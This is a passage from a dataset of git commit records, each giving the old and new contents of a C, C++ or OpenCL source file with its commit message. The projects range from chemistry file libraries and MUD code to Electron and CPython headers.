kwantam\/rust,dwillmer\/rust,j16r\/rust,victorvde\/rust,AerialX\/rust-rt-minimal,krzysz00\/rust,graydon\/rust,TheNeikos\/rust,mvdnes\/rust,mihneadb\/rust,vhbit\/rust,SiegeLord\/rust,robertg\/rust,quornian\/rust,bombless\/rust,pshc\/rust,jashank\/rust,gifnksm\/rust,nwin\/rust,kimroen\/rust,carols10cents\/rust,mitsuhiko\/rust,vhbit\/rust,mitsuhiko\/rust,AerialX\/rust,emk\/rust,ruud-v-a\/rust,miniupnp\/rust,graydon\/rust,stepancheg\/rust-ide-rust,robertg\/rust,aepsil0n\/rust,jashank\/rust,aidancully\/rust,pczarn\/rust,barosl\/rust,mahkoh\/rust,emk\/rust,vhbit\/rust,philyoon\/rust,0x73\/rust,aidancully\/rust,sae-bom\/rust,l0kod\/rust,nham\/rust,P1start\/rust,gifnksm\/rust,ruud-v-a\/rust,sarojaba\/rust-doc-korean,emk\/rust,sarojaba\/rust-doc-korean,miniupnp\/rust,graydon\/rust,zubron\/rust,carols10cents\/rust,victorvde\/rust,P1start\/rust,GBGamer\/rust,kwantam\/rust,sarojaba\/rust-doc-korean,avdi\/rust,sarojaba\/rust-doc-korean,untitaker\/rust,mahkoh\/rust,vhbit\/rust,ruud-v-a\/rust,nham\/rust,aepsil0n\/rust,TheNeikos\/rust,mitsuhiko\/rust,ktossell\/rust,aturon\/rust,0x73\/rust,miniupnp\/rust,ruud-v-a\/rust,ktossell\/rust,ktossell\/rust,erickt\/rust,jbclements\/rust,zachwick\/rust"}
{"commit":"7042ad0836fa9fc7566bd6cad8b8a430f8e1ade2","old_file":"tests\/c\/chfl_selections.c","new_file":"tests\/c\/chfl_selections.c","old_contents":"","new_contents":"#include \"chemfiles.h\"\n\n\/\/ Force NDEBUG to be undefined\n#undef NDEBUG\n#include <assert.h>\n#include <stdlib.h>\n\nint main() {\n    CHFL_TOPOLOGY* topology = chfl_topology();\n    CHFL_ATOM* O = chfl_atom(\"O\");\n    CHFL_ATOM* H = chfl_atom(\"H\");\n    assert(topology != NULL);\n    assert(H != NULL);\n    assert(O != NULL);\n\n    assert(!chfl_topology_append(topology, H));\n    assert(!chfl_topology_append(topology, O));\n    assert(!chfl_topology_append(topology, O));\n    assert(!chfl_topology_append(topology, H));\n    assert(!chfl_atom_free(O));\n    assert(!chfl_atom_free(H));\n\n    CHFL_FRAME* frame = chfl_frame(4);\n    assert(!chfl_frame_set_topology(frame, topology));\n    assert(!chfl_topology_free(topology));\n\n    bool* matched = malloc(4 * sizeof(bool));\n    assert(!chfl_frame_selection(frame, \"name O\", matched, 4));\n    assert(matched[0] == false);\n    assert(matched[1] == true);\n    assert(matched[2] == true);\n    assert(matched[3] == false);\n\n    assert(!chfl_frame_selection(frame, \"not index <= 2\", matched, 4));\n    assert(matched[0] == false);\n    assert(matched[1] == false);\n    assert(matched[2] == false);\n    assert(matched[3] == true);\n\n    free(matched);\n    assert(!chfl_frame_free(frame));\n    return EXIT_SUCCESS;\n}\n","subject":"Add test for the C API for selections","message":"Add test for the C API for selections\n","lang":"C","license":"bsd-3-clause","repos":"chemfiles\/chemfiles,chemfiles\/chemfiles,chemfiles\/chemfiles,lscalfi\/chemfiles,lscalfi\/chemfiles,Luthaf\/Chemharp,Luthaf\/Chemharp,chemfiles\/chemfiles,Luthaf\/Chemharp,lscalfi\/chemfiles,lscalfi\/chemfiles"}
{"commit":"a99be7b255d1ba98fd5958b9adf3a94ee62ee20f","old_file":"parse_obj.c","new_file":"parse_obj.c","old_contents":"","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\ntypedef struct vector3f\n{\n    float x, y, z;\n}VECTOR3F;\n\ntypedef struct triangle\n{\n    int32_t v1, v2, v3;\n}TRIANGLE;\n\ntypedef struct trianglemesh\n{\n    int32_t id;\n    TRIANGLE t; \/\/ vertices number\n    VECTOR3F v[3]; \/\/ vertices coordinates\n}TRIANGLEMESH;\n\n\nvoid usage(char *argv0)\n{\n    fprintf(stdout, \"%s <obj filename>\\n\", argv0);\n    exit(1);\n}\n\nint parse_file(const char *filename)\n{\n    FILE *fp = NULL;\n    char buf[1024];\n    int vertices_count = 0;\n    int faces_count = 0;\n\n    if ((fp = fopen(filename, \"r\")) == NULL)\n    {\n        fprintf(stderr, \"Cannot open file %s.\\n\", filename);\n        return -1;\n    }\n\n    \/\/ Reading file until the end\n    while (!feof(fp))\n    {\n        memset(buf, 0, sizeof(buf));\n        char start_line = 0;\n\n        \/\/ Read a line and save to a buffer.\n        while (fgets(buf, sizeof(buf), fp) != NULL)\n        {\n            \/\/ Read the first character of the line\n            sscanf(buf, \"%c\", &start_line);\n\n            switch(start_line)\n            {\n                VECTOR3F v;\n                TRIANGLE t;\n                TRIANGLEMESH tm;\n\n                case 'v':\n                    sscanf(buf, \"%c %f %f %f\", &start_line, &v.x, &v.y, &v.z);\n                    vertices_count += 1;\n\n                    fprintf(stdout, \"%c %f %f %f\\n\", start_line, v.x, v.y, v.z);\n                    break;\n                case 'f':\n                    sscanf(buf, \"%c %d %d %d\", &start_line, &t.v1, &t.v2, &t.v3);\n                    faces_count += 1;\n\n                    fprintf(stdout, \"%c %d %d %d\\n\", start_line, t.v1, t.v2, t.v3);\n                    break;\n                default:\n                    fprintf(stdout, \"Not known start line %c\\n\", start_line);\n                    break;\n            }\n\n        }\n\n    }\n\n    return 0;\n}\n\nint main(int argc, char *argv[])\n{\n\n    if (argc != 2)\n    {\n        usage(argv[0]);\n    }\n\n    const char* filename = argv[1];\n\n    parse_file(filename);\n\n    return 0;\n}\n\n","subject":"Create a utility to properly parse obj files.","message":"Create a utility to properly parse obj files.\n","lang":"C","license":"mit","repos":"svagionitis\/CGShading"}
{"commit":"062b0492f34b5212704ff72eb9ebb0fe84d577b7","old_file":"tests\/sv-comp\/basic\/global_init_true-unreach-call.c","new_file":"tests\/sv-comp\/basic\/global_init_true-unreach-call.c","old_contents":"","new_contents":"extern void __VERIFIER_error() __attribute__ ((__noreturn__));\nvoid __VERIFIER_assert(int cond) {\n    if (!(cond)) {\n        ERROR: __VERIFIER_error();\n    }\n    return;\n}\n\nint g = 1;\n\nint main()\n{\n    __VERIFIER_assert(g == 1);\n    return 0;\n}","subject":"Add global initializer SV-COMP test","message":"Add global initializer SV-COMP test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"e00712b97423b86c1e8aa2eefe7c655e61d415f3","old_file":"mudlib\/mud\/home\/Text\/sys\/verb\/wiz\/ooc\/object\/touchall.c","new_file":"mudlib\/mud\/home\/Text\/sys\/verb\/wiz\/ooc\/object\/touchall.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths.h>\n#include <text\/paths.h>\n#include <status.h>\n\ninherit LIB_RAWVERB;\n\nvoid main(object actor, string args)\n{\n\tmixed *st;\n\tint i, sz;\n\tint tcount;\n\n\tif (query_user()->query_class() < 2) {\n\t\tsend_out(\"You do not have sufficient access rights to touch all clones.\\n\");\n\t\treturn;\n\t}\n\n\tst = status(args);\n\n\tif (!st) {\n\t\tsend_out(\"No such object.\\n\");\n\t\treturn;\n\t}\n\n\tsz = status(ST_OTABSIZE);\n\n\tfor (i = 0; i < sz; i++) {\n\t\tobject obj;\n\n\t\tobj = find_object(args + \"#\" + i);\n\n\t\tif (obj) {\n\t\t\tcall_touch(obj);\n\t\t\ttcount++;\n\t\t}\n\t}\n\n\tsend_out(tcount + \" objects touched.\\n\");\n}\n","subject":"Add verb to touch all clones of a given clonable","message":"Add verb to touch all clones of a given clonable\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"28f190e88bf324798276e4e8d4f5792cf6919fa6","old_file":"Location\/BackgroundTaskManager.h","new_file":"Location\/BackgroundTaskManager.h","old_contents":"\/\/\n\/\/  BackgroundTaskManager.h\n\/\/\n\/\/  Created by Puru Shukla on 20\/02\/13.\n\/\/  Copyright (c) 2013 Puru Shukla. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface BackgroundTaskManager : NSObject\n\n+(instancetype)sharedBackgroundTaskManager;\n\n-(UIBackgroundTaskIdentifier)beginNewBackgroundTask;\n\n@end\n","new_contents":"\/\/\n\/\/  BackgroundTaskManager.h\n\/\/\n\/\/  Created by Puru Shukla on 20\/02\/13.\n\/\/  Copyright (c) 2013 Puru Shukla. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface BackgroundTaskManager : NSObject\n\n+(instancetype)sharedBackgroundTaskManager;\n\n-(UIBackgroundTaskIdentifier)beginNewBackgroundTask;\n-(void)endAllBackgroundTasks;\n\n@end\n","subject":"Add endAllBackgroundTasks to the Public API","message":"Add endAllBackgroundTasks to the Public API","lang":"C","license":"mit","repos":"kevinnguy\/Location"}
{"commit":"1656855c0467348823d4decdbd4131875381d2c9","old_file":"searchcore\/src\/vespa\/searchcore\/bmcluster\/bm_node_stats_reporter.h","new_file":"searchcore\/src\/vespa\/searchcore\/bmcluster\/bm_node_stats_reporter.h","old_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <vespa\/vespalib\/util\/threadstackexecutor.h>\n#include <chrono>\n#include <mutex>\n#include <condition_variable>\n\nnamespace search::bmcluster {\n\nclass BmCluster;\n\nclass BmNodeStatsReporter {\n    BmCluster&                    _cluster;\n    vespalib::ThreadStackExecutor _executor;\n    std::mutex                    _mutex;\n    std::condition_variable       _cond;\n    uint32_t                      _pending_report;\n    bool                          _started;\n    bool                          _stop;\n\n    void report();\n    void run_report_loop(std::chrono::milliseconds interval);\npublic:\n    BmNodeStatsReporter(BmCluster& cluster);\n    ~BmNodeStatsReporter();\n    void start(std::chrono::milliseconds interval);\n    void stop();\n    void report_now();\n};\n\n}\n","new_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <vespa\/vespalib\/util\/threadstackexecutor.h>\n#include <chrono>\n#include <mutex>\n#include <condition_variable>\n\nnamespace search::bmcluster {\n\nclass BmCluster;\n\n\/*\n * Class handling background reporting of node stats during feed or\n * document redistribution.\n *\/\nclass BmNodeStatsReporter {\n    BmCluster&                    _cluster;\n    vespalib::ThreadStackExecutor _executor;\n    std::mutex                    _mutex;\n    std::condition_variable       _cond;\n    uint32_t                      _pending_report;\n    bool                          _started;\n    bool                          _stop;\n\n    void report();\n    void run_report_loop(std::chrono::milliseconds interval);\npublic:\n    BmNodeStatsReporter(BmCluster& cluster);\n    ~BmNodeStatsReporter();\n    void start(std::chrono::milliseconds interval);\n    void stop();\n    void report_now();\n};\n\n}\n","subject":"Add class comment for BmNodeStatsReporter.","message":"Add class comment for BmNodeStatsReporter.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"cd845e38761b52497ff4ad02d32490d2c7a4ac24","old_file":"include\/dirbrowserformaction.h","new_file":"include\/dirbrowserformaction.h","old_contents":"#ifndef NEWSBOAT_DIRBROWSERFORMACTION_H\n#define NEWSBOAT_DIRBROWSERFORMACTION_H\n\n#include <grp.h>\n\n#include \"configcontainer.h\"\n#include \"formaction.h\"\n\nnamespace newsboat {\n\n\tclass DirBrowserFormAction : public FormAction {\n\tpublic:\n\t\tDirBrowserFormAction(View*, std::string formstr, ConfigContainer* cfg);\n\t\t~DirBrowserFormAction() override;\n\t\tvoid prepare() override;\n\t\tvoid init() override;\n\t\tKeyMapHintEntry* get_keymap_hint() override;\n\n\t\tvoid set_dir(const std::string& d)\n\t\t{\n\t\t\tdir = d;\n\t\t}\n\n\t\tstd::string id() const override\n\t\t{\n\t\t\treturn \"filebrowser\";\n\t\t}\n\t\tstd::string title() override;\n\n\tprivate:\n\t\tvoid process_operation(Operation op,\n\t\t\t\t\t\t\t   bool automatic = false,\n\t\t\t\t\t\t\t   std::vector<std::string>* args = nullptr) override;\n\n\t\tstd::string add_directory(std::string dirname);\n\t\tstd::string get_rwx(unsigned short val);\n\n\t\tstd::string get_owner(uid_t uid);\n\t\tstd::string get_group(gid_t gid);\n\t\tstd::string\n\t\tget_formatted_dirname(std::string dirname, char ftype, mode_t mode);\n\n\t\tstd::string cwd;\n\t\tstd::string dir;\n\n\t};\n\n} \/\/ namespace newsboat\n\n#endif \/\/NEWSBOAT_DIRBROWSERFORMACTION_H\n","new_contents":"#ifndef NEWSBOAT_DIRBROWSERFORMACTION_H\n#define NEWSBOAT_DIRBROWSERFORMACTION_H\n\n#include <sys\/stat.h>\n#include <grp.h>\n\n#include \"configcontainer.h\"\n#include \"formaction.h\"\n\nnamespace newsboat {\n\n\tclass DirBrowserFormAction : public FormAction {\n\tpublic:\n\t\tDirBrowserFormAction(View*, std::string formstr, ConfigContainer* cfg);\n\t\t~DirBrowserFormAction() override;\n\t\tvoid prepare() override;\n\t\tvoid init() override;\n\t\tKeyMapHintEntry* get_keymap_hint() override;\n\n\t\tvoid set_dir(const std::string& d)\n\t\t{\n\t\t\tdir = d;\n\t\t}\n\n\t\tstd::string id() const override\n\t\t{\n\t\t\treturn \"filebrowser\";\n\t\t}\n\t\tstd::string title() override;\n\n\tprivate:\n\t\tvoid process_operation(Operation op,\n\t\t\t\t\t\t\t   bool automatic = false,\n\t\t\t\t\t\t\t   std::vector<std::string>* args = nullptr) override;\n\n\t\tstd::string add_directory(std::string dirname);\n\t\tstd::string get_rwx(unsigned short val);\n\n\t\tstd::string get_owner(uid_t uid);\n\t\tstd::string get_group(gid_t gid);\n\t\tstd::string\n\t\tget_formatted_dirname(std::string dirname, char ftype, mode_t mode);\n\n\t\tstd::string cwd;\n\t\tstd::string dir;\n\n\t};\n\n} \/\/ namespace newsboat\n\n#endif \/\/NEWSBOAT_DIRBROWSERFORMACTION_H\n","subject":"Fix DirBrowserFormAction build on FreeBSD","message":"Fix DirBrowserFormAction build on FreeBSD\n","lang":"C","license":"mit","repos":"der-lyse\/newsboat,newsboat\/newsboat,newsboat\/newsboat,der-lyse\/newsboat,newsboat\/newsboat,der-lyse\/newsboat,der-lyse\/newsboat,der-lyse\/newsboat,newsboat\/newsboat,newsboat\/newsboat,newsboat\/newsboat,newsboat\/newsboat,der-lyse\/newsboat,der-lyse\/newsboat,newsboat\/newsboat,der-lyse\/newsboat"}
{"commit":"87c0785d81c31a969bbf8029363ea042fdd82587","old_file":"src\/tileset.h","new_file":"src\/tileset.h","old_contents":"#ifndef _TILESET_H_\n#define _TILESET_H_\n\n#include <SDL.h>\n\n\/\/#define TILESET_ROW_LENGTH\t8\n\ntypedef struct tileset\n{\n\tSDL_Surface *image;\n\tSDL_Rect *clip;\n\tint length;\n} tileset;\n\nint tilesetLoad(tileset *tSet, char *fileName, int width, int height, int rowLen, int length);\nvoid tilesetUnload(tileset *tSet);\n\n#endif \/* _TILESET_H_ *\/\n","new_contents":"#ifndef _TILESET_H_\n#define _TILESET_H_\n\n#include <SDL.h>\n\ntypedef struct tileset\n{\n\tSDL_Surface *image;\n\tSDL_Rect *clip;\n\tint length;\n} tileset;\n\nint tilesetLoad(tileset *tSet, char *fileName, int width, int height, int rowLen, int length);\nvoid tilesetUnload(tileset *tSet);\n\n#endif \/* _TILESET_H_ *\/\n","subject":"Remove redundant commended out code","message":"Remove redundant commended out code\n","lang":"C","license":"mit","repos":"zear\/shisen-seki,zear\/shisen-seki"}
{"commit":"34f818ebe0539bf77576f7b45d28a70160271754","old_file":"program.c","new_file":"program.c","old_contents":"\/* Preprocessor defines added by opencl compiler\n * #define CONFIGS_PER_PROC\n *\/\n\n__kernel void start_trampoline(__global char *match_configs,\n\t\t\t\t__global char *output)\n{\n\n\t__private unsigned int i;\n\tfor (i = 0; i < 256; i++) {\n\t\toutput[i] = CONFIGS_PER_PROC;\n\t}\n\twrite_mem_fence(CLK_GLOBAL_MEM_FENCE);\n\treturn;\n\n}\n","new_contents":"\/* Preprocessor defines added by opencl compiler\n * #define CONFIGS_PER_PROC\n *\/\n\n__kernel void start_trampoline(__global char *match_configs,\n\t\t\t\t__global char *output)\n{\n\t__private unsigned int i, startloc;\n\t\/\/ Per worker match configs.\n\t__private char local_match_configs[CONFIGS_PER_PROC * sizeof(char) * 4];\n\n\t\/\/ Read in per worker match configs\n\tstartloc = get_local_id(0) * CONFIGS_PER_PROC * 4;\n\tfor (i = 0; i < CONFIGS_PER_PROC * 4; i++)\n\t\tlocal_match_configs[i] = match_configs[startloc + i];\n\n\tfor (i = 0; i < 256; i++) {\n\t\toutput[i] = CONFIGS_PER_PROC;\n\t}\n\twrite_mem_fence(CLK_GLOBAL_MEM_FENCE);\n\treturn;\n\n}\n","subject":"Load match configs into each local proc.","message":"Load match configs into each local proc.\n","lang":"C","license":"bsd-2-clause","repos":"jmorse\/worms,jmorse\/worms"}
{"commit":"0b4900a73fb6206ad82511b2054843baec172618","old_file":"gpm\/spinner.c","new_file":"gpm\/spinner.c","old_contents":"\/\/ Calculates the 45th Fibonacci number with a visual indicator.\n#include <stdio.h>\n#include <assert.h>\n#include <libdill.h>\n\n\/\/ Calculates Fibonacci of x.\nstatic int fib(int x)\n{\n\t\/\/ Need to yield or spinner will not have any time to spin.\n\tint rc = yield();\n\tassert(rc == 0);\n\n\tif (x < 2) return x;\n\treturn fib(x - 1) + fib(x - 2);\n}\n\ncoroutine void spinner(int delay)\n{\n\tconst char spinChars[] = {'-', '\\\\', '|', '\/'};\n\twhile (1) {\n\t\tfor (int i = 0; i < sizeof(spinChars); i++) {\n\t\t\tprintf(\"\\r%c\", spinChars[i]);\n\t\t\tmsleep(now() + delay);\n\t\t}\n\t}\n}\n\nint main()\n{\n\t\/\/ Turn off buffering on stdout otherwise we won't see the spinner.\n\tsetbuf(stdout, NULL);\n\n\tint rc = go(spinner(100));\n\tassert(rc != -1);\n\n\tconst int n = 45;\n\tint fibN = fib(n);\n\tprintf(\"\\rFibonacci(%d) = %d\\n\", n, fibN);\n}\n\n","new_contents":"\/\/ Calculates the 45th Fibonacci number with a visual indicator.\n\/\/ Note: using yield() in fib() may allow the spinner to actually spin, but\n\/\/ fib() takes a lot longer to complete. E.g. Over 2 minutes with yield()\n\/\/ vs. 10 seconds without it.\n#include <stdio.h>\n#include <assert.h>\n#include <libdill.h>\n\n\/\/ Calculates Fibonacci of x.\nstatic int fib(int x)\n{\n\t\/\/ Need to yield or spinner will not have any time to spin.\n\tint rc = yield();\n\tassert(rc == 0);\n\n\tif (x < 2) return x;\n\treturn fib(x - 1) + fib(x - 2);\n}\n\ncoroutine void spinner(int delay)\n{\n\tconst char spinChars[] = {'-', '\\\\', '|', '\/'};\n\twhile (1) {\n\t\tfor (int i = 0; i < sizeof(spinChars); i++) {\n\t\t\tprintf(\"\\r%c\", spinChars[i]);\n\t\t\tmsleep(now() + delay);\n\t\t}\n\t}\n}\n\nint main()\n{\n\t\/\/ Turn off buffering on stdout otherwise we won't see the spinner.\n\tsetbuf(stdout, NULL);\n\n\tint rc = go(spinner(500));\n\tassert(rc != -1);\n\n\tconst int n = 45;\n\tint fibN = fib(n);\n\tprintf(\"\\rFibonacci(%d) = %d\\n\", n, fibN);\n}\n\n","subject":"Add note about using yield().","message":"Add note about using yield().\n","lang":"C","license":"mit","repos":"jppunnett\/libdill-tutorial"}
{"commit":"64c9fe48234cd49ae730f3d2f80a0b7eb3c6d897","old_file":"Josh_Zane_Sebastian\/src\/parser\/parser.c","new_file":"Josh_Zane_Sebastian\/src\/parser\/parser.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include types.c\n#include <string.h>\n\n\/* We can:\n   Set something equal to something\n   Function calls\n   Function definitions\n   Returning things -- delimiter '<'\n   Printing things\n   Iffing *\/\n\nstruct call parseCall(char* statement);\nstruct function parseFunction(char* statement);\n\nchar* fixSpacing(char* code) {\n  char* fixedCode = calloc(sizeof(char), strlen(code) + 1);\n  fixedCode = strcpy(fixedCode, code);\n  char* doubleSpace = strstr(fixedCode, \"  \");\n  char* movingIndex;\n  for( ; doubleSpace; doubleSpace = strstr(fixedCode, \"  \")) {\n    for(movingIndex = doubleSpace; movingIndex&; movingIndex++) {\n      movingIndex[0] = movingIndex[1];\n    }\n  }\n  return fixedCode;\n}\n\nstruct statement* parse(char* code) {\n  char* regCode = fixSpacing(code);\n  int n = 0;\n  int i;\n  for(i = 0; regCode[i]; i++) {\n    if(regCode[i] == ' ') {\n      n++;\n    }\n  }\n  char** spcTokens = calloc(sizeof(char*), n+1);\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include types.c\n#include <string.h>\n\n\/* We can:\n   Set something equal to something\n   Function calls\n   Function definitions\n   Returning things -- delimiter '<'\n   Printing things\n   Iffing *\/\n\nstruct call parseCall(char* statement);\nstruct function parseFunction(char* statement);\n\nchar* fixSpacing(char* code) {\n  char* fixedCode = malloc(sizeof(char) * (strlen(code) + 1));\n  fixedCode = strcpy(fixedCode, code);\n  char* doubleSpace = strstr(fixedCode, \"  \");\n  char* movingIndex;\n  for( ; doubleSpace; doubleSpace = strstr(fixedCode, \"  \")) {\n    for(movingIndex = doubleSpace; movingIndex&; movingIndex++) {\n      movingIndex[0] = movingIndex[1];\n    }\n  }\n  return fixedCode;\n}\n\nchar** spcTokenize(char* regCode) {\n  int n = 0;\n  int i;\n  for(i = 0; regCode[i]; i++) {\n    if(regCode[i] == ' ') {\n      n++;\n    }\n  }\n  char** spcTokens = malloc(sizeof(char*) * (n+1));\n  int k;\n  for(i = 0; i < n+1; i++) {\n    k = strchr(regCode, ' ') - regCode;\n    regCode[k] = NULL;\n    spcTokens[i] = regCode + k + 1;\n  }\n}\n","subject":"Refactor the space tokenizer to be its own function; parse() no longer exists.","message":"Refactor the space tokenizer to be its own function; parse() no longer exists.\n","lang":"C","license":"mit","repos":"aacoppa\/final,aacoppa\/final"}
{"commit":"02d72c81af73bdd765beb3af9b7915209e18a747","old_file":"atom\/common\/common_message_generator.h","new_file":"atom\/common\/common_message_generator.h","old_contents":"\/\/ Copyright (c) 2014 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Multiply-included file, no traditional include guard.\n\n#include \"atom\/common\/api\/api_messages.h\"\n#include \"chrome\/common\/print_messages.h\"\n#include \"chrome\/common\/tts_messages.h\"\n#include \"chrome\/common\/widevine_cdm_messages.h\"\n","new_contents":"\/\/ Copyright (c) 2014 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Multiply-included file, no traditional include guard.\n\n#include \"atom\/common\/api\/api_messages.h\"\n#include \"chrome\/common\/print_messages.h\"\n#include \"chrome\/common\/tts_messages.h\"\n#include \"chrome\/common\/widevine_cdm_messages.h\"\n#include \"chrome\/common\/chrome_utility_messages.h\"\n","subject":"Fix linking problem with IPC::MessageT","message":"Fix linking problem with IPC::MessageT\n\nIPC::MessageT<ChromeUtilityHostMsg_ProcessStarted_Meta, std::__1::tuple<>, void>::MessageT(IPC::Routing)\n","lang":"C","license":"mit","repos":"seanchas116\/electron,shiftkey\/electron,shiftkey\/electron,Floato\/electron,brenca\/electron,thompsonemerson\/electron,thomsonreuters\/electron,jhen0409\/electron,tinydew4\/electron,twolfson\/electron,tonyganch\/electron,tonyganch\/electron,aichingm\/electron,kcrt\/electron,stevekinney\/electron,kokdemo\/electron,the-ress\/electron,stevekinney\/electron,noikiy\/electron,gabriel\/electron,rajatsingla28\/electron,miniak\/electron,electron\/electron,brave\/electron,dongjoon-hyun\/electron,rajatsingla28\/electron,gerhardberger\/electron,thompsonemerson\/electron,bpasero\/electron,gabriel\/electron,tinydew4\/electron,twolfson\/electron,gerhardberger\/electron,kokdemo\/electron,shiftkey\/electron,rajatsingla28\/electron,brave\/muon,rajatsingla28\/electron,tinydew4\/electron,wan-qy\/electron,leethomas\/electron,preco21\/electron,seanchas116\/electron,kokdemo\/electron,miniak\/electron,leethomas\/electron,the-ress\/electron,posix4e\/electron,wan-qy\/electron,shiftkey\/electron,thomsonreuters\/electron,brave\/electron,rreimann\/electron,miniak\/electron,gerhardberger\/electron,MaxWhere\/electron,renaesop\/electron,MaxWhere\/electron,bpasero\/electron,gabriel\/electron,jhen0409\/electron,kcrt\/electron,deed02392\/electron,voidbridge\/electron,brave\/muon,aliib\/electron,aichingm\/electron,shiftkey\/electron,aliib\/electron,renaesop\/electron,noikiy\/electron,brave\/muon,bpasero\/electron,leethomas\/electron,aliib\/electron,gerhardberger\/electron,biblerule\/UMCTelnetHub,preco21\/electron,stevekinney\/electron,aichingm\/electron,biblerule\/UMCTelnetHub,electron\/electron,thompsonemerson\/electron,MaxWhere\/electron,joaomoreno\/atom-shell,gabriel\/electron,dongjoon-hyun\/electron,thomsonreuters\/electron,Floato\/electron,noikiy\/electron,leethomas\/electron,the-ress\/electron,thompsonemerson\/electron,leethomas\/electron,rajatsingla28\/electron,bpasero\/electron,tinydew4\/electron,MaxWhere\/electron,minggo\/electron,tinydew4\/electron,deed02392\/electron,joaomoreno\/atom-shell,rreimann\/electron,voidbridge\/electron,preco21\/electron,thomsonreuters\/electron,wan-qy\/electron,rajatsingla28\/electron,bbondy\/electron,preco21\/electron,minggo\/electron,gabriel\/electron,wan-qy\/electron,seanchas116\/electron,kcrt\/electron,bpasero\/electron,tonyganch\/electron,renaesop\/electron,Floato\/electron,dongjoon-hyun\/electron,stevekinney\/electron,preco21\/electron,brave\/muon,Gerhut\/electron,rreimann\/electron,Floato\/electron,gerhardberger\/electron,tonyganch\/electron,noikiy\/electron,biblerule\/UMCTelnetHub,twolfson\/electron,kokdemo\/electron,deed02392\/electron,Gerhut\/electron,preco21\/electron,stevekinney\/electron,miniak\/electron,joaomoreno\/atom-shell,aliib\/electron,gerhardberger\/electron,dongjoon-hyun\/electron,voidbridge\/electron,thomsonreuters\/electron,Floato\/electron,jhen0409\/electron,aichingm\/electron,deed02392\/electron,voidbridge\/electron,seanchas116\/electron,brenca\/electron,posix4e\/electron,minggo\/electron,bbondy\/electron,brenca\/electron,thompsonemerson\/electron,kokdemo\/electron,aliib\/electron,bbondy\/electron,gerhardberger\/electron,kcrt\/electron,Gerhut\/electron,the-ress\/electron,the-ress\/electron,stevekinney\/electron,bpasero\/electron,brenca\/electron,aliib\/electron,Gerhut\/electron,bbondy\/electron,rreimann\/electron,electron\/electron,renaesop\/electron,twolfson\/electron,Floato\/electron,noikiy\/electron,kcrt\/electron,thomsonreuters\/electron,biblerule\/UMCTelnetHub,brave\/electron,wan-qy\/electron,kcrt\/electron,leethomas\/electron,shiftkey\/electron,joaomoreno\/atom-shell,brenca\/electron,minggo\/electron,bbondy\/electron,brenca\/electron,biblerule\/UMCTelnetHub,joaomoreno\/atom-shell,seanchas116\/electron,tonyganch\/electron,bbondy\/electron,posix4e\/electron,dongjoon-hyun\/electron,brave\/electron,jhen0409\/electron,dongjoon-hyun\/electron,brave\/electron,tonyganch\/electron,brave\/electron,voidbridge\/electron,brave\/muon,posix4e\/electron,biblerule\/UMCTelnetHub,deed02392\/electron,posix4e\/electron,Gerhut\/electron,electron\/electron,electron\/electron,minggo\/electron,twolfson\/electron,MaxWhere\/electron,Gerhut\/electron,jhen0409\/electron,noikiy\/electron,electron\/electron,the-ress\/electron,renaesop\/electron,aichingm\/electron,rreimann\/electron,voidbridge\/electron,bpasero\/electron,renaesop\/electron,thompsonemerson\/electron,jhen0409\/electron,MaxWhere\/electron,tinydew4\/electron,electron\/electron,deed02392\/electron,kokdemo\/electron,twolfson\/electron,brave\/muon,posix4e\/electron,miniak\/electron,rreimann\/electron,wan-qy\/electron,seanchas116\/electron,joaomoreno\/atom-shell,aichingm\/electron,minggo\/electron,miniak\/electron,gabriel\/electron,the-ress\/electron"}
{"commit":"851b80ea96383be2e95f36b238f390e9c2f9880e","old_file":"Include\/boolobject.h","new_file":"Include\/boolobject.h","old_contents":"\/* Boolean object interface *\/\n\ntypedef PyIntObject PyBoolObject;\n\nextern DL_IMPORT(PyTypeObject) PyBool_Type;\n\n#define PyBool_Check(x) ((x)->ob_type == &PyBool_Type)\n\n\/* Py_False and Py_True are the only two bools in existence.\nDon't forget to apply Py_INCREF() when returning either!!! *\/\n\n\/* Don't use these directly *\/\nextern DL_IMPORT(PyIntObject) _Py_ZeroStruct, _Py_TrueStruct;\n\n\/* Use these macros *\/\n#define Py_False ((PyObject *) &_Py_ZeroStruct)\n#define Py_True ((PyObject *) &_Py_TrueStruct)\n\n\/* Function to return a bool from a C long *\/\nPyObject *PyBool_FromLong(long);\n","new_contents":"\/* Boolean object interface *\/\n\n#ifndef Py_BOOLOBJECT_H\n#define Py_BOOLOBJECT_H\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\ntypedef PyIntObject PyBoolObject;\n\nextern 